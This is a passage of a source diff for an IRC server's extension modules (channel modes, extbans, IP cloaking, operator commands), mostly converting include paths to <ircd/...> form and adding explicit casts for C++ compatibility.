#include <ircd/s_conf.h>
#include <ircd/s_user.h>
#include <ircd/s_serv.h>
#include <ircd/numeric.h>
#include <ircd/chmode.h>
#include <ircd/messages.h>
#include <ircd/inline/stringops.h>
static const char chm_nonotice_desc[] =
"Adds channel mode +T which blocks notices to the channel.";

View file

@ -1,14 +1,14 @@
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "s_user.h"
#include "s_serv.h"
#include "numeric.h"
#include "chmode.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
#include <ircd/s_user.h>
#include <ircd/s_serv.h>
#include <ircd/numeric.h>
#include <ircd/chmode.h>
static const char chm_operonly_desc[] =
"Adds channel mode +O which makes a channel operator-only";

View file

@ -2,12 +2,12 @@
* Treat cmode +-O as +-iI $o.
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "hook.h"
#include "ircd.h"
#include "chmode.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/hook.h>
#include <ircd/ircd.h>
#include <ircd/chmode.h>
static const char chm_operonly_compat[] =
"Adds an emulated channel mode +O which is converted into mode +i and +I $o";
@ -25,7 +25,7 @@ _modinit(void)
{
chmode_table['O'].set_func = chm_operonly;
chmode_table['O'].mode_type = 0;
chmode_table['O'].mode_class = CHM_D;
chmode_table['O'].mode_class = ChmClass{CHM_D};
return 0;
}
@ -35,7 +35,7 @@ _moddeinit(void)
{
chmode_table['O'].set_func = chm_nosuch;
chmode_table['O'].mode_type = 0;
chmode_table['O'].mode_class = 0;
chmode_table['O'].mode_class = ChmClass(0);
}
static void

View file

@ -3,20 +3,20 @@
* -- kaniini
*/
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include "hash.h"
#include "s_conf.h"
#include "s_user.h"
#include "s_serv.h"
#include "numeric.h"
#include "privilege.h"
#include "s_newconf.h"
#include "chmode.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/hash.h>
#include <ircd/s_conf.h>
#include <ircd/s_user.h>
#include <ircd/s_serv.h>
#include <ircd/numeric.h>
#include <ircd/privilege.h>
#include <ircd/s_newconf.h>
#include <ircd/chmode.h>
static const char chm_operpeace_desc[] =
"Adds channel mode +M which prohibits operators from being kicked";

View file

@ -3,12 +3,12 @@
* -- jilles
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "hook.h"
#include "ircd.h"
#include "chmode.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/hook.h>
#include <ircd/ircd.h>
#include <ircd/chmode.h>
static const char chm_quietunreg_compat_desc[] =
"Adds an emulated channel mode +R which is converted into mode +q $~a";
@ -36,7 +36,7 @@ _moddeinit(void)
{
chmode_table['R'].set_func = chm_nosuch;
chmode_table['R'].mode_type = 0;
chmode_table['R'].mode_class = 0;
chmode_table['R'].mode_class = ChmClass(0);
}
static void

View file

@ -29,14 +29,14 @@
* POSSIBILITY OF SUCH DAMAGE.
*/
#include "stdinc.h"
#include "s_conf.h"
#include "modules.h"
#include "hook.h"
#include "send.h"
#include "chmode.h"
#include "newconf.h"
#include "substitution.h"
#include <ircd/stdinc.h>
#include <ircd/s_conf.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/send.h>
#include <ircd/chmode.h>
#include <ircd/newconf.h>
#include <ircd/substitution.h>
#include "spamfilter.h"
@ -100,7 +100,7 @@ void substitute_reject_reason(void)
static
void set_reject_reason(void *const str)
{
rb_strlcpy(reject_reason, str, sizeof(reject_reason));
rb_strlcpy(reject_reason, (const char *)str, sizeof(reject_reason));
substitute_reject_reason();
}

View file

@ -1,14 +1,14 @@
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "s_user.h"
#include "s_serv.h"
#include "numeric.h"
#include "chmode.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
#include <ircd/s_user.h>
#include <ircd/s_serv.h>
#include <ircd/numeric.h>
#include <ircd/chmode.h>
static const char chm_sslonly_desc[] =
"Adds channel mode +S that bans non-SSL users from joing a channel";

View file

@ -2,12 +2,12 @@
* Treat cmode +-S as +-b $~z.
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "hook.h"
#include "ircd.h"
#include "chmode.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/hook.h>
#include <ircd/ircd.h>
#include <ircd/chmode.h>
static const char chm_sslonly_compat_desc[] =
"Adds an emulated channel mode +S which is converted into mode +b $~z";
@ -25,7 +25,7 @@ _modinit(void)
{
chmode_table['S'].set_func = chm_sslonly;
chmode_table['S'].mode_type = 0;
chmode_table['S'].mode_class = CHM_D;
chmode_table['S'].mode_class = ChmClass{CHM_D};
return 0;
}
@ -35,7 +35,7 @@ _moddeinit(void)
{
chmode_table['S'].set_func = chm_nosuch;
chmode_table['S'].mode_type = 0;
chmode_table['S'].mode_class = 0;
chmode_table['S'].mode_class = ChmClass(0);
}
static void

View file

@ -6,15 +6,15 @@
* -- nenolod
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "hook.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "snomask.h"
#include "numeric.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/hook.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
#include <ircd/snomask.h>
#include <ircd/numeric.h>
static const char restrict_desc[] = "Restricts channel creation to authenticated users and IRC operators only";

View file

@ -6,15 +6,15 @@
* -- nenolod
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "hook.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "snomask.h"
#include "numeric.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/hook.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
#include <ircd/snomask.h>
#include <ircd/numeric.h>
static const char restrict_desc[] = "Restricts channel creation to IRC operators";

View file

@ -18,12 +18,12 @@
*/
/* List of ircd includes from ../include/ */
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
/* This string describes the module. Always declare it a static const char[].
* It is preferred for stylistic reasons to put it first.

View file

@ -3,10 +3,10 @@
* -- jilles
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "ircd.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
static const char extb_desc[] = "Account ($a) extban type";

View file

@ -4,12 +4,12 @@
* -- nenolod/jilles
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "channel.h"
#include "hash.h"
#include "ircd.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/channel.h>
#include <ircd/hash.h>
#include <ircd/ircd.h>
static const char extb_desc[] = "Can join ($j) extban type - matches users who are or are not banned from a specified channel";

View file

@ -3,12 +3,12 @@
* -- jilles
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "channel.h"
#include "hash.h"
#include "ircd.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/channel.h>
#include <ircd/hash.h>
#include <ircd/ircd.h>
static const char extb_desc[] = "Channel ($c) extban type";

View file

@ -37,10 +37,10 @@
* I suspect it is, but have done no load testing.
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "ircd.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
static const char extb_desc[] = "Combination ($&, $|) extban types";

View file

@ -4,10 +4,10 @@
* - nenolod
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "ircd.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
static const char extb_desc[] = "Extended mask ($x) extban type";

View file

@ -3,10 +3,10 @@
* -- kaniini
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "ircd.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
static const char extb_desc[] = "Hostmask ($m) extban type";

View file

@ -3,12 +3,12 @@
* -- jilles
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "privilege.h"
#include "s_newconf.h"
#include "ircd.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/privilege.h>
#include <ircd/s_newconf.h>
#include <ircd/ircd.h>
static const char extb_desc[] = "Oper ($o) extban type";

View file

@ -3,10 +3,10 @@
* -- jilles
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "ircd.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
static const char extb_desc[] = "Realname/GECOS ($r) extban type";

View file

@ -3,10 +3,10 @@
* -- jilles
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "ircd.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
static const char extb_desc[] = "Server ($s) extban type";

View file

@ -1,9 +1,9 @@
/* SSL extban type: matches ssl users */
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "ircd.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
static const char extb_desc[] = "SSL/TLS ($z) extban type";

View file

@ -3,17 +3,17 @@
* -- nenolod
*/
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include "hash.h"
#include "s_conf.h"
#include "s_user.h"
#include "s_serv.h"
#include "numeric.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/hash.h>
#include <ircd/s_conf.h>
#include <ircd/s_user.h>
#include <ircd/s_serv.h>
#include <ircd/numeric.h>
static const char extb_desc[] = "Usermode ($m) extban type";

View file

@ -6,14 +6,14 @@
* Note that +i must be included in default_umodes
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "hook.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "s_newconf.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/hook.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
#include <ircd/s_newconf.h>
static const char noi_desc[] =
"Do not allow users to remove user mode +i unless they are operators";

View file

@ -3,16 +3,16 @@
* -- kaniini
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "hook.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "s_user.h"
#include "s_newconf.h"
#include "numeric.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/hook.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
#include <ircd/s_user.h>
#include <ircd/s_newconf.h>
#include <ircd/numeric.h>
static const char helpops_desc[] = "The helpops system as used by freenode";
@ -132,7 +132,7 @@ h_hdl_stats_request(hook_data_int *hdata)
RB_DLINK_FOREACH (helper_ptr, helper_list.head)
{
target_p = helper_ptr->data;
target_p = (Client *)helper_ptr->data;
if(target_p->user->away)
continue;

View file

@ -3,14 +3,14 @@
* -- kaniini
*/
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "hook.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "s_newconf.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/hook.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
#include <ircd/s_newconf.h>
static const char hide_desc[] = "Hides channel memberships not shared";

View file

@ -4,19 +4,19 @@
* Copyright (C) 2006 charybdis development team
* All rights reserved
*/
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include "numeric.h"
#include "hostmask.h"
#include "s_conf.h"
#include "s_newconf.h"
#include "hash.h"
#include "messages.h"
#include "s_assert.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/numeric.h>
#include <ircd/hostmask.h>
#include <ircd/s_conf.h>
#include <ircd/s_newconf.h>
#include <ircd/hash.h>
#include <ircd/messages.h>
#include <ircd/s_assert.h>
/* {{{ Structures */
#define HURT_CUTOFF (10) /* protocol messages. */
@ -123,11 +123,8 @@ DECLARE_MODULE_AV2(
);
/* }}} */
hurt_state_t hurt_state = {
.cutoff = HURT_CUTOFF,
.default_expire = HURT_DEFAULT_EXPIRE,
.exit_reason = HURT_EXIT_REASON,
};
hurt_state_t hurt_state;
/*
* Module constructor/destructor.
@ -143,6 +140,9 @@ modinit(void)
{
/* set-up hurt_state. */
hurt_state.start_time = rb_current_time();
hurt_state.cutoff = HURT_CUTOFF;
hurt_state.default_expire = HURT_DEFAULT_EXPIRE;
hurt_state.exit_reason = HURT_EXIT_REASON;
/* add our event handlers. */
hurt_expire_ev = rb_event_add("hurt_expire", hurt_expire_event, NULL, 60);
@ -390,7 +390,7 @@ hurt_check_event(void *arg)
struct Client *client_p;
RB_DLINK_FOREACH_SAFE (ptr, next_ptr, hurt_state.hurt_clients.head) {
client_p = ptr->data;
client_p = (Client *)ptr->data;
if (!EmptyString(client_p->user->suser))
{
rb_dlinkDestroy(ptr, &hurt_state.hurt_clients);
@ -534,7 +534,7 @@ hurt_new(time_t expire, const char *ip, const char *reason)
{
hurt_t *hurt;
hurt = rb_malloc(sizeof(hurt_t));
hurt = (hurt_t *)rb_malloc(sizeof(hurt_t));
hurt->ip = rb_strdup(ip);
hurt->reason = rb_strdup(reason);

View file

@ -5,17 +5,17 @@
* Written originally by nenolod, altered to use FNV by Elizabeth in 2008
*/
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include "hash.h"
#include "s_conf.h"
#include "s_user.h"
#include "s_serv.h"
#include "numeric.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/hash.h>
#include <ircd/s_conf.h>
#include <ircd/s_user.h>
#include <ircd/s_serv.h>
#include <ircd/numeric.h>
static const char ip_cloaking_desc[] = "IP cloaking module that uses user mode +h";
@ -203,14 +203,14 @@ check_umode_change(void *vdata)
static void
check_new_user(void *vdata)
{
struct Client *source_p = (void *)vdata;
struct Client *source_p = (Client *)vdata;
if (IsIPSpoof(source_p))
{
source_p->umodes &= ~user_modes['h'];
return;
}
source_p->localClient->mangledhost = rb_malloc(HOSTLEN + 1);
source_p->localClient->mangledhost = (char *)rb_malloc(HOSTLEN + 1);
if (!irccmp(source_p->orighost, source_p->sockhost))
do_host_cloak_ip(source_p->orighost, source_p->localClient->mangledhost);
else

View file

@ -1,14 +1,14 @@
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "s_user.h"
#include "s_serv.h"
#include "numeric.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
#include <ircd/s_user.h>
#include <ircd/s_serv.h>
#include <ircd/numeric.h>
static const char ip_cloaking_desc[] = "The old IP cloaking mechanism version 3.0";
@ -209,14 +209,14 @@ check_umode_change(void *vdata)
static void
check_new_user(void *vdata)
{
struct Client *source_p = (void *)vdata;
struct Client *source_p = (Client *)vdata;
if (IsIPSpoof(source_p))
{
source_p->umodes &= ~user_modes['h'];
return;
}
source_p->localClient->mangledhost = rb_malloc(HOSTLEN);
source_p->localClient->mangledhost = (char *)rb_malloc(HOSTLEN);
if (!irccmp(source_p->orighost, source_p->sockhost))
do_host_cloak_ip(source_p->orighost, source_p->localClient->mangledhost);
else

View file

@ -5,17 +5,17 @@
* Written originally by nenolod, altered to use FNV by Elizabeth in 2008
*/
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include "hash.h"
#include "s_conf.h"
#include "s_user.h"
#include "s_serv.h"
#include "numeric.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/hash.h>
#include <ircd/s_conf.h>
#include <ircd/s_user.h>
#include <ircd/s_serv.h>
#include <ircd/numeric.h>
static const char ip_cloaking_desc[] = "New IP cloaking module that uses user mode +x instead of +h";
@ -203,14 +203,14 @@ check_umode_change(void *vdata)
static void
check_new_user(void *vdata)
{
struct Client *source_p = (void *)vdata;
struct Client *source_p = (Client *)vdata;
if (IsIPSpoof(source_p))
{
source_p->umodes &= ~user_modes['x'];
return;
}
source_p->localClient->mangledhost = rb_malloc(HOSTLEN + 1);
source_p->localClient->mangledhost = (char *)rb_malloc(HOSTLEN + 1);
if (!irccmp(source_p->orighost, source_p->sockhost))
do_host_cloak_ip(source_p->orighost, source_p->localClient->mangledhost);
else

View file

@ -1,14 +1,14 @@
#include "stdinc.h"
#include "modules.h"
#include "hook.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include "s_conf.h"
#include "s_user.h"
#include "s_serv.h"
#include "numeric.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/hook.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
#include <ircd/s_conf.h>
#include <ircd/s_user.h>
#include <ircd/s_serv.h>
#include <ircd/numeric.h>
static const char ip_cloaking_desc[] = "Very old IP cloaking mechanism";
@ -151,14 +151,14 @@ check_umode_change(void *vdata)
static void
check_new_user(void *vdata)
{
struct Client *source_p = (void *)vdata;
struct Client *source_p = (Client *)vdata;
if (IsIPSpoof(source_p))
{
source_p->umodes &= ~user_modes['h'];
return;
}
source_p->localClient->mangledhost = rb_malloc(HOSTLEN);
source_p->localClient->mangledhost = (char *)rb_malloc(HOSTLEN);
if (!irccmp(source_p->orighost, source_p->sockhost))
do_host_cloak(source_p->orighost, source_p->localClient->mangledhost, 1);
else

View file

@ -22,20 +22,20 @@
* USA
*/
#include "stdinc.h"
#include "client.h"
#include "ircd.h"
#include "match.h"
#include "numeric.h"
#include "send.h"
#include "s_user.h"
#include "s_conf.h"
#include "s_newconf.h"
#include "msg.h"
#include "parse.h"
#include "modules.h"
#include "s_serv.h"
#include "messages.h"
#include <ircd/stdinc.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/match.h>
#include <ircd/numeric.h>
#include <ircd/send.h>
#include <ircd/s_user.h>
#include <ircd/s_conf.h>
#include <ircd/s_newconf.h>
#include <ircd/msg.h>
#include <ircd/parse.h>
#include <ircd/modules.h>
#include <ircd/s_serv.h>
#include <ircd/messages.h>
static const char adminwall_desc[] =
"Provides the ADMINWALL command to send a message to all administrators";

View file

@ -1,8 +1,8 @@
#include "stdinc.h"
#include "modules.h"
#include "client.h"
#include "ircd.h"
#include "send.h"
#include <ircd/stdinc.h>
#include <ircd/modules.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/send.h>
static void m_echotags(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_p, int parc, const char *parv[]);

View file

@ -24,12 +24,12 @@
* USA
*/
#include "stdinc.h"
#include "client.h"
#include "modules.h"
#include "s_newconf.h"
#include "send.h"
#include "numeric.h"
#include <ircd/stdinc.h>
#include <ircd/client.h>
#include <ircd/modules.h>
#include <ircd/s_newconf.h>
#include <ircd/send.h>
#include <ircd/numeric.h>
static const char extendchans_desc[] =
"Allow an oper or service to let a given user join more channels";

View file

@ -17,22 +17,22 @@
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#include "stdinc.h"
#include "channel.h"
#include "client.h"
#include "hash.h"
#include "match.h"
#include "ircd.h"
#include "numeric.h"
#include "s_user.h"
#include "s_conf.h"
#include "s_newconf.h"
#include "send.h"
#include "msg.h"
#include "parse.h"
#include "modules.h"
#include "packet.h"
#include "messages.h"
#include <ircd/stdinc.h>
#include <ircd/channel.h>
#include <ircd/client.h>
#include <ircd/hash.h>
#include <ircd/match.h>
#include <ircd/ircd.h>
#include <ircd/numeric.h>
#include <ircd/s_user.h>
#include <ircd/s_conf.h>
#include <ircd/s_newconf.h>
#include <ircd/send.h>
#include <ircd/msg.h>
#include <ircd/parse.h>
#include <ircd/modules.h>
#include <ircd/packet.h>
#include <ircd/messages.h>
static const char findfowards_desc[] = "Allows operators to find forwards to a given channel";
@ -92,7 +92,7 @@ m_findforwards(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *
RB_DLINK_FOREACH(ptr, global_channel_list.head)
{
chptr = ptr->data;
chptr = (Channel *)ptr->data;
if(!irccmp(chptr->mode.forward, parv[1]))
{
if(p + strlen(chptr->chname) >= end - 13)

View file

@ -29,19 +29,19 @@
* POSSIBILITY OF SUCH DAMAGE.
*/
#include "stdinc.h"
#include "client.h"
#include "ircd.h"
#include "match.h"
#include "numeric.h"
#include "s_conf.h"
#include "logger.h"
#include "s_serv.h"
#include "send.h"
#include "msg.h"
#include "parse.h"
#include "modules.h"
#include "messages.h"
#include <ircd/stdinc.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/match.h>
#include <ircd/numeric.h>
#include <ircd/s_conf.h>
#include <ircd/logger.h>
#include <ircd/s_serv.h>
#include <ircd/send.h>
#include <ircd/msg.h>
#include <ircd/parse.h>
#include <ircd/modules.h>
#include <ircd/messages.h>
#define SVS_chanserv_NICK "ChanServ"
#define SVS_nickserv_NICK "NickServ"

View file

@ -22,20 +22,20 @@
* USA
*/
#include "stdinc.h"
#include "client.h"
#include "ircd.h"
#include "match.h"
#include "numeric.h"
#include "send.h"
#include "s_user.h"
#include "s_conf.h"
#include "s_newconf.h"
#include "hash.h"
#include "msg.h"
#include "parse.h"
#include "modules.h"
#include "s_serv.h"
#include <ircd/stdinc.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/match.h>
#include <ircd/numeric.h>
#include <ircd/send.h>
#include <ircd/s_user.h>
#include <ircd/s_conf.h>
#include <ircd/s_newconf.h>
#include <ircd/hash.h>
#include <ircd/msg.h>
#include <ircd/parse.h>
#include <ircd/modules.h>
#include <ircd/s_serv.h>
static const char locops_desc[] =
"Provides the LOCOPS command to send a message to all local operators";

View file

@ -5,13 +5,13 @@
* You can use this code in any way as long as these names remain.
*/
#include "stdinc.h"
#include "client.h"
#include "numeric.h"
#include "s_conf.h"
#include "modules.h"
#include "messages.h"
#include "send.h"
#include <ircd/stdinc.h>
#include <ircd/client.h>
#include <ircd/numeric.h>
#include <ircd/s_conf.h>
#include <ircd/modules.h>
#include <ircd/messages.h>
#include <ircd/send.h>
#include <string.h>
@ -206,7 +206,7 @@ generate_random_salt(char *salt, int length)
{
return (generate_poor_salt(salt, length));
}
buf = calloc(1, length);
buf = (char *)calloc(1, length);
if(read(fd, buf, length) != length)
{
free(buf);

View file

@ -17,23 +17,23 @@
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#include "stdinc.h"
#include "channel.h"
#include "client.h"
#include "ircd.h"
#include "numeric.h"
#include "logger.h"
#include "s_serv.h"
#include "s_conf.h"
#include "s_newconf.h"
#include "send.h"
#include "whowas.h"
#include "match.h"
#include "hash.h"
#include "msg.h"
#include "parse.h"
#include "modules.h"
#include "messages.h"
#include <ircd/stdinc.h>
#include <ircd/channel.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/numeric.h>
#include <ircd/logger.h>
#include <ircd/s_serv.h>
#include <ircd/s_conf.h>
#include <ircd/s_newconf.h>
#include <ircd/send.h>
#include <ircd/whowas.h>
#include <ircd/match.h>
#include <ircd/hash.h>
#include <ircd/msg.h>
#include <ircd/parse.h>
#include <ircd/modules.h>
#include <ircd/messages.h>
static const char ojoin_desc[] = "Allow admins to forcibly join channels with the OJOIN command";

View file

@ -21,22 +21,22 @@
* USA
*/
#include "stdinc.h"
#include "channel.h"
#include "client.h"
#include "match.h"
#include "ircd.h"
#include "numeric.h"
#include "send.h"
#include "msg.h"
#include "modules.h"
#include "parse.h"
#include "hash.h"
#include "packet.h"
#include "s_conf.h"
#include "s_serv.h"
#include "messages.h"
#include "logger.h"
#include <ircd/stdinc.h>
#include <ircd/channel.h>
#include <ircd/client.h>
#include <ircd/match.h>
#include <ircd/ircd.h>
#include <ircd/numeric.h>
#include <ircd/send.h>
#include <ircd/msg.h>
#include <ircd/modules.h>
#include <ircd/parse.h>
#include <ircd/hash.h>
#include <ircd/packet.h>
#include <ircd/s_conf.h>
#include <ircd/s_serv.h>
#include <ircd/messages.h>
#include <ircd/logger.h>
static const char okick_desc[] = "Allow admins to forcibly kick users from channels with the OKICK command";
@ -85,7 +85,7 @@ mo_okick(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source
comment[TOPICLEN] = '\0';
*buf = '\0';
if((p = strchr(parv[1], ',')))
if((p = (char *)strchr(parv[1], ',')))
*p = '\0';
name = LOCAL_COPY(parv[1]);
@ -98,7 +98,7 @@ mo_okick(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source
}
if((p = strchr(parv[2], ',')))
if((p = (char *)strchr(parv[2], ',')))
*p = '\0';
user = LOCAL_COPY(parv[2]); // strtoken(&p2, parv[2], ",");
if(!(who = find_chasing(source_p, user, &chasing)))

View file

@ -23,24 +23,24 @@
* USA
*/
#include "stdinc.h"
#include "channel.h"
#include "client.h"
#include "hash.h"
#include "match.h"
#include "ircd.h"
#include "numeric.h"
#include "s_user.h"
#include "s_conf.h"
#include "s_newconf.h"
#include "s_serv.h"
#include "send.h"
#include "msg.h"
#include "parse.h"
#include "modules.h"
#include "packet.h"
#include "messages.h"
#include "logger.h"
#include <ircd/stdinc.h>
#include <ircd/channel.h>
#include <ircd/client.h>
#include <ircd/hash.h>
#include <ircd/match.h>
#include <ircd/ircd.h>
#include <ircd/numeric.h>
#include <ircd/s_user.h>
#include <ircd/s_conf.h>
#include <ircd/s_newconf.h>
#include <ircd/s_serv.h>
#include <ircd/send.h>
#include <ircd/msg.h>
#include <ircd/parse.h>
#include <ircd/modules.h>
#include <ircd/packet.h>
#include <ircd/messages.h>
#include <ircd/logger.h>
static const char omode_desc[] = "Allow admins to forcibly change modes on channels with the OMODE command";

View file

@ -16,23 +16,23 @@
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#include "stdinc.h"
#include "channel.h"
#include "client.h"
#include "ircd.h"
#include "numeric.h"
#include "logger.h"
#include "s_serv.h"
#include "send.h"
#include "whowas.h"
#include "match.h"
#include "hash.h"
#include "msg.h"
#include "parse.h"
#include "modules.h"
#include "s_conf.h"
#include "s_newconf.h"
#include "messages.h"
#include <ircd/stdinc.h>
#include <ircd/channel.h>
#include <ircd/client.h>
#include <ircd/ircd.h>
#include <ircd/numeric.h>
#include <ircd/logger.h>
#include <ircd/s_serv.h>
#include <ircd/send.h>
#include <ircd/whowas.h>
#include <ircd/match.h>
#include <ircd/hash.h>
#include <ircd/msg.h>
#include <ircd/parse.h>
#include <ircd/modules.h>
#include <ircd/s_conf.h>
#include <ircd/s_newconf.h>
#include <ircd/messages.h>
static const char opme_desc[] = "Allow admins to op themselves on opless channels";
@ -74,7 +74,7 @@ mo_opme(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source_
RB_DLINK_FOREACH(ptr, chptr->members.head)
{
msptr = ptr->data;
msptr = (membership *)ptr->data;
if(is_chanop(msptr))
{

View file

@ -22,22 +22,22 @@
* USA
*/
#include "stdinc.h"
#include "channel.h"
#include "client.h"
#include "match.h"
#include "ircd.h"
#include "numeric.h"
#include "send.h"
#include "msg.h"
#include "modules.h"
#include "parse.h"
#include "hash.h"
#include "packet.h"
#include "s_serv.h"
#include "s_conf.h"
#include "hook.h"
#include "messages.h"
#include <ircd/stdinc.h>
#include <ircd/channel.h>
#include <ircd/client.h>
#include <ircd/match.h>
#include <ircd/ircd.h>
#include <ircd/numeric.h>
#include <ircd/send.h>
#include <ircd/msg.h>
#include <ircd/modules.h>
#include <ircd/parse.h>
#include <ircd/hash.h>
#include <ircd/packet.h>
#include <ircd/s_serv.h>
#include <ircd/s_conf.h>
#include <ircd/hook.h>
#include <ircd/messages.h>
static const char description[] = "Provides the REMOVE command, an alternative to KICK";
@ -81,7 +81,7 @@ m_remove(struct MsgBuf *msgbuf_p, struct Client *client_p, struct Client *source
